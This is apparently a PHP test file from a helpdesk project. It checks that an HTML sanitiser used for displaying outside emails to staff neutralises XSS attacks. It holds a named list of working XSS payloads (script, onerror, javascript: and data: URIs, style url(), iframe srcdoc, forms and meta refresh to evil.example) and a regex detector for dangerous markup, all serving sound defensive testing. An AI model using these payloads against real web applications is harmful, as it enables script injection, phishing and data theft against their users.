Files
2026-10-19 18:05:51 +00:00

115 lines
7.7 KiB
PHP

<?php
declare(strict_types=1);
/**
* Prüft den HTML-Bereinigungsfilter (sanitize_staff_html) gegen typische XSS-Angriffe.
* Wichtig, weil damit HTML-E-Mails fremder Absender im Mitarbeiterbereich angezeigt werden.
*/
putenv('DESKHUB_SQLITE_PATH=:memory:');
require_once dirname(__DIR__) . '/includes/bootstrap.php';
$failures = [];
$check = function (bool $ok, string $what) use (&$failures): void {
if (!$ok) $failures[] = $what;
};
/** Prüft, ob im Ergebnis ausführbares Markup stecken könnte. Gibt den Grund zurück oder null. */
$dangerous = function (string $out): ?string {
if (preg_match('/<\s*(script|iframe|object|embed|svg|math|form|input|style|link|meta|base)\b/i', $out)) return 'gefährliches Tag';
if (preg_match_all('/<([a-z0-9]+)((?:\s[^<>]*)?)>/i', $out, $m, PREG_SET_ORDER)) {
foreach ($m as $t) {
// Attributwerte entfernen, dann dürfen nur erlaubte Attributnamen übrig sein
$names = preg_replace('/"[^"]*"/', '', $t[2]);
if (preg_match_all('/\s([a-z-]+)=/i', (string) $names, $a)) {
foreach ($a[1] as $name) {
if (!in_array(strtolower($name), ['href','target','rel','src','alt','width','height','title','style','colspan','rowspan','align','valign','border','cellpadding','cellspacing'], true)) return "Attribut {$name}";
}
}
}
}
// Übrig gebliebene "<" oder ">" außerhalb vollständiger, erlaubter Tags wären gefährlich
$stripped = preg_replace('/<\/?[a-z0-9]+(?:\s[^<>]*)?\/?>/i', '', $out);
if (str_contains((string) $stripped, '<') || str_contains((string) $stripped, '>')) return 'loses < oder >';
return null;
};
$payloads = [
'script' => '<script>alert(1)</script>Hallo',
'script verschachtelt' => '<scr<script>ipt>alert(1)</scr</script>ipt>',
'img onerror' => '<img src=x onerror=alert(1)>',
'img onerror quoted' => '<img src="x" onerror="alert(1)">',
'unterminiert' => 'Text <img src=x onerror=alert(1)',
'unterminiert svg' => '<svg onload=alert(1)',
'doppelt <' => '<<img src=x onerror=alert(1)//>',
'a javascript' => '<a href="javascript:alert(1)">x</a>',
'a javascript entity' => '<a href="&#106;avascript:alert(1)">x</a>',
'a javascript tab' => '<a href="java&#9;script:alert(1)">x</a>',
'a data' => '<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">x</a>',
'a onclick' => '<a href="https://example.org" onclick="alert(1)">x</a>',
'a attribut ausbruch' => '<a href="https://example.org&quot; onmouseover=&quot;alert(1)">x</a>',
'img svg data' => '<img src="data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+">',
'style expression' => '<div style="width:expression(alert(1))">x</div>',
'style url' => '<div style="background:url(https://evil.example/t.gif)">x</div>',
'style url entity' => '<div style="background:u&#114;l(https://evil.example/t.gif)">x</div>',
'style position' => '<div style="position:fixed;top:0;left:0;width:100%;height:100%">Bitte Passwort eingeben</div>',
'style ausbruch' => '<div style="color:red&quot; onmouseover=&quot;alert(1)">x</div>',
'iframe' => '<iframe src="https://evil.example"></iframe>',
'iframe srcdoc' => '<iframe srcdoc="<script>alert(1)</script>"></iframe>',
'form' => '<form action="https://evil.example"><input name=pw><button>Senden</button></form>',
'meta refresh' => '<meta http-equiv="refresh" content="0;url=https://evil.example">',
'base' => '<base href="https://evil.example/">',
'object' => '<object data="x"></object><embed src="x">',
'math' => '<math><mi xlink:href="javascript:alert(1)">x</mi></math>',
'kommentar' => '<!--><script>alert(1)</script>-->',
'bedingt' => '<!--[if gte IE 4]><script>alert(1)</script><![endif]-->',
'cdata' => '<![CDATA[<script>alert(1)</script>]]>',
'attribut ohne quotes' => '<img src=https://x.example/a.png onerror=alert(1)>',
'grossschreibung' => '<IMG SRC=x ONERROR=alert(1)><SCRIPT>alert(1)</SCRIPT>',
'null byte' => "<scr\0ipt>alert(1)</scr\0ipt>",
'tag mit newline' => "<img\nsrc=x\nonerror=alert(1)>",
'slash statt space' => '<img/src=x/onerror=alert(1)>',
'details ontoggle' => '<details open ontoggle=alert(1)>x</details>',
'td background' => '<table background="javascript:alert(1)"><tr><td>x</td></tr></table>',
];
foreach ($payloads as $name => $input) {
$out = sanitize_staff_html($input);
$why = $dangerous($out);
$check($why === null, "Angriff '{$name}' nicht entschärft ({$why}): {$out}");
}
// Konkrete Erwartungen
$out = sanitize_staff_html('Text <img src=x onerror=alert(1)');
$check(!str_contains($out, '<img') && str_contains($out, '&lt;img'), 'Unterminiertes Tag muss als Text maskiert werden: ' . $out);
$out = sanitize_staff_html('<a href="javascript:alert(1)">x</a>');
$check(!str_contains($out, 'javascript') && str_contains($out, 'rel="noopener noreferrer"'), 'javascript-Link: ' . $out);
$out = sanitize_staff_html('<div style="position:fixed;color:red">x</div>');
$check(!str_contains($out, 'position') && str_contains($out, 'color: red'), 'position muss entfernt, color bleiben: ' . $out);
$out = sanitize_staff_html('<div style="background:url(https://evil.example/t.gif)">x</div>');
$check(!str_contains($out, 'url') && !str_contains($out, 'evil'), 'url() im Stil: ' . $out);
$out = sanitize_staff_html('<img src="http://tracker.example/p.gif">');
$check(!str_contains($out, 'tracker.example'), 'http-Bild muss ersetzt werden: ' . $out);
$out = sanitize_staff_html('<img src="data:image/svg+xml;base64,AAAA">');
$check(!str_contains($out, 'svg'), 'svg-Datenbild muss ersetzt werden: ' . $out);
// Normales Rich-Text-HTML bleibt erhalten
$ok = '<p>Hallo <b>Welt</b>, <i>kursiv</i> und <a href="https://example.org/a?x=1&amp;y=2">ein Link</a>.</p><ul><li>Eins</li><li>Zwei</li></ul>'
. '<table border="1"><tr><td colspan="2" style="color: red">Zelle</td></tr></table><blockquote>Zitat</blockquote><br>';
$out = sanitize_staff_html($ok);
foreach (['<p>', '<b>Welt</b>', '<i>kursiv</i>', 'href="https://example.org/a?x=1&amp;y=2"', '<li>Zwei</li>', 'colspan="2"', 'style="color: red"', '<blockquote>Zitat</blockquote>', '<br>'] as $needle) {
$check(str_contains($out, $needle), "Erlaubtes HTML ging verloren ({$needle}): {$out}");
}
// Skalierte Bilder (Signatur): Breite als Attribut und Stil bleiben erhalten, riskante Stile nicht
$out = sanitize_staff_html('<img src="https://example.org/uploads/logo.png" alt="" width="130" style="max-width:100%;width:130px;height:auto">');
$check(str_contains($out, 'src="https://example.org/uploads/logo.png"') && str_contains($out, 'width="130"') && str_contains($out, 'width: 130px') && str_contains($out, 'height: auto'), 'skaliertes Bild behält Adresse, Breite und Stil: ' . $out);
$out = sanitize_staff_html('<img src="https://example.org/a.png" width="130" style="width:130px;position:fixed;background:url(https://evil.example/x.gif)">');
$check(str_contains($out, 'width: 130px') && !str_contains($out, 'position') && !str_contains($out, 'evil'), 'beim skalierten Bild werden riskante Stile trotzdem entfernt: ' . $out);
$check(sanitize_staff_html(' ') === '', 'Leerer Text');
$check(sanitize_staff_html('Preis < 5 und > 3') === 'Preis &lt; 5 und &gt; 3', 'Kleiner/Größer im Fließtext: ' . sanitize_staff_html('Preis < 5 und > 3'));
if ($failures) {
fwrite(STDERR, "FEHLER:\n- " . implode("\n- ", $failures) . "\n");
exit(1);
}
echo 'Sanitize HTML checks passed (' . count($payloads) . " Angriffe).\n";